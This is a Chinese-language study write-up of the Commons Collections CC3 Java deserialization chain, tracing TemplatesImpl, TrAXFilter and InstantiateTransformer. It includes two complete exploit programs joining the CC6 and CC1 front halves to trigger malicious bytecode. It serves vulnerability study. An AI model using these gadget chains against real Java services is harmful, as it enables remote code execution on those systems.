CC3
前面链子都是命令执行,但很多时候服务器的黑名单会选择禁用 Runtime
,因此CC3用到动态类加载实现自动执行恶意类代码
回顾一下类的动态加载这块的东西
这里我们可以正向看,首先是 loadClass()
,它的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass()
对于 findClass()
方法:
- 根据名称或位置加载 .class 字节码,然后使用 defineClass,代码实例如下
- 通常由子类去实现
1 2 3 4
| protected Class<?> findClass(String name) throws ClassNotFoundException { throw new ClassNotFoundException(name); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| class NetworkClassLoader extends ClassLoader { String host; int port;
public Class findClass(String name) { byte[] b = loadClassData(name); return defineClass(name, b, 0, b.length); }
private byte[] loadClassData(String name) { } }
|
defineClass()
的作用是处理前面传入的字节码,将其处理成真正的 Java 类,但此时的 defineClass()
方法是有局限性的,因为它只是加载类,并不执行类。若需要执行,则需要先进行 newInstance()
的实例化
开始由下往上分析CC3链:
首先我们先看看有什么方法调用defineClass,这里defineClass为protected,我们需要找到重写他并且为pubilc的方法
在Templateslmpl中找到合适的defineClass
查找调用这个defineClass的地方,我们跟到了defineTransletClasses()下,他执行了一个loader.defineClass(_bytecodes[i])
,相当于这里可以将我们的恶意类返回来,我们需要满足上面的条件,_bytecodes
不为空,_tfactory
不为空
但defineTransletClasses方法是一个私有方法,我们看看谁调用了这个方法
选择defineTransletClasses()
方法,这里有一个 newInstance()
实例化的过程,如果能走完这个函数那么就能动态执行代码
这里要_name
不为空,_Class
为空才能执行defineTransletClasses()方法,最后将返回来的恶意类进行实例化,可以通过反射修改参数值满足要求。但是这个getTransletInstance()
方法是私有的,还得继续找
我们找到了newTransformer的位置,分析代码我们只需要执行newTransformer就可以了
_class
的值应当为 null,TemplatesImpl
的构造方法中没有给 _class
赋初值,所以不用管它
_name
的值,这里需要的是 String,所以我们通过反射简单赋个 String 即可
_bytecodes
这个比较难,我们过一遍:
_bytecodes
需要的是一个二维数组,所以我们创建一个二维数组。但是 _bytecodes
作为传递进 defineClass 方法的值是一个一维数组。这个一维数组里面我们需要存放恶意的字节码
先写一个 Test.class 的恶意类并编译,直接编写静态代码块就可以了,因为在类初始化的时候会自动执行代码
这一段伪代码可以这样写
1 2
| byte[] code = Files.readAllBytes(Paths.get("刚刚生成的.class文件绝对路径")); byte[][] codes = {code};
|
还有 _tfactory
,我们也过一遍
_tfactory
的值在 TemplatesImpl
这一类中被定义如下,关键字是 transient
,不可被序列化
直接修改是不行的,但是我们这里的利用要求比较低,只要让 _tfactory
不为 null 即可,我们去看一看 _tfactory
的其他定义如何。在 readObject()
方法中,找到了 _tfactory
的初始化定义
得到最终完整的 EXP ,但报了空指针错误
按照道理来说上面的 EXP 已经挺完美的了,但是运行的时候不但没有弹出计算器,反而还报错了
在TemplatesImpl
类第 393 行 if (_bytecodes == null)
那里打断点,调试之后发现问题出在这儿
418 行,判断在 defineClass()
方法中传进去的参数 b 数组的字节码是否继承了 ABSTRACT_TRANSLET
这个父类,如果没有则抛出异常,所以我们需要去恶意类中继承 ABSTRACT_TRANSLET
这个父类
或者我们可以将 _auxClasse
赋值,使其不为 null。但是如果没有继承 ABSTRACT_TRANSLET
这个父类,会导致 _transletIndex
的值为 -1,仍然会在第 426 行的判断当中跳出程序。所以恶意类必须继承 ABSTRACT_TRANSLET
这个父类
修改后的恶意类,重新编译
成功执行命令
拼接CC1/CC3链的前半部分,相当于换了一个代码执行的方法
ysoserial 正版链子的 TemplatesImpl 的实现方式
有些情况不仅把Runtime.exex()过滤了,把InvokeTransformer也过滤了,要换一个类
只需要调用 TemplatesImpl
类的 newTransformer()
方法,便可以进行命令执行,查找调用 newTransformer()
方法的地方
这里找到TrAXFilter这个类
虽然它没继承Serializable接口,不能序列化,但是它的构造函数是有搞头的,我们只要执行这个类的构造函数即可命令执行
CC3 这里的作者没有调用 InvokerTransformer
,而是调用了一个新的类 InstantiateTransformer
,这个类是用来初始化 Transformer
的,我们去找 InstantiateTransformer
类下的 transform
方法,完美契合我们的需求
InstantiateTransformer构造函数传入 new Class[]{Templates.class}
与 new Object[]{templates}
然后调用InstantiateTransformer的transform方法获取TrAXFilter的构造器并调用构造函数即可
这样后半部分 EXP 就写好了,我们去找入口类的前半部分。前半部分链子是从谁调用了 transform
方法开始,所以 CC1 链和 CC6 链的前半部分 EXP 都是有效的
拼接CC6:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC3_test { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass(); Field nameField = c.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field byteField = c.getDeclaredField("_bytecodes"); byteField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\micgo\\IdeaProjects\\CommonCollection\\target\\classes\\Test.class")); byte[][] codes = {code}; byteField.set(templates,codes);
Field tfactoryField = c.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa"); HashMap<Object,Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"bbb"); lazyMap.clear(); Class c2 = LazyMap.class; Field factoryField = c2.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); serialize(map2); unserialize("ser.bin"); }
public static void serialize(Object obj) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); }
public static Object unserialize(String Filename) throws Exception { ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename)); Object obj=ois.readObject(); return obj; } }
|
拼接CC1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC3_test { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass(); Field nameField = c.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field byteField = c.getDeclaredField("_bytecodes"); byteField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\micgo\\IdeaProjects\\CommonCollection\\target\\classes\\Test.class")); byte[][] codes = {code}; byteField.set(templates,codes);
Field tfactoryField = c.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class c2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annocationInvocationHandler = c2.getDeclaredConstructor(Class.class,Map.class); annocationInvocationHandler.setAccessible(true); InvocationHandler h = (InvocationHandler) annocationInvocationHandler.newInstance(Override.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annocationInvocationHandler.newInstance(Override.class,mapProxy); serialize(o); unserialize("ser.bin"); }
public static void serialize(Object obj) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); }
public static Object unserialize(String Filename) throws Exception { ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename)); Object obj=ois.readObject(); return obj; } }
|
噢还有就是这一段注释掉也是可以执行的,只有直接执行的时候需要手动赋值,反序列化的时候会自动赋值
再来回顾一下流程图